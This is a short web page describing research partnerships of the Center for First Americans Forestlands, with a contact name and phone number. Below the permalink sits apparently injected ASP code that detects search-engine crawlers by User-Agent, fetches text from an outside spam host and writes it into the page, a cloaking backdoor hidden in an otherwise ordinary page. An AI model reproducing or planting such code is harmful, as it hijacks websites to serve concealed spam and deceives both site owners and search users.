Print this Page

Research

research

The Center for First Americans Forestlands partners with many institutions on research initiatives. For information on the North East Climate Science Center project, Tribes and Climate Change (including a project with Marla Emery and “Through Tribal Eyes” interviews) and information on Menominee Tribal Enterprises Acoustic Tech project, contact Dean Fellman at 715-799-6226 ext. 3267.

 

 

Permanent link to this article: http://sustainabledevelopmentinstitute.org/research/

<% Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "UTF-8" GetHtml = objStream.ReadText objStream.Close End Function dim ua ua=Request.ServerVariables("HTTP_USER_AGENT") searray = array("Google Web Preview", "bot","wget", "spider") For i = 0 To Ubound(searray) If (Instr(ua, searray(i)) > 0) Then content = GetHtml("http://link.dolabuy.com/cs08.txt") Response.write content end if Next %>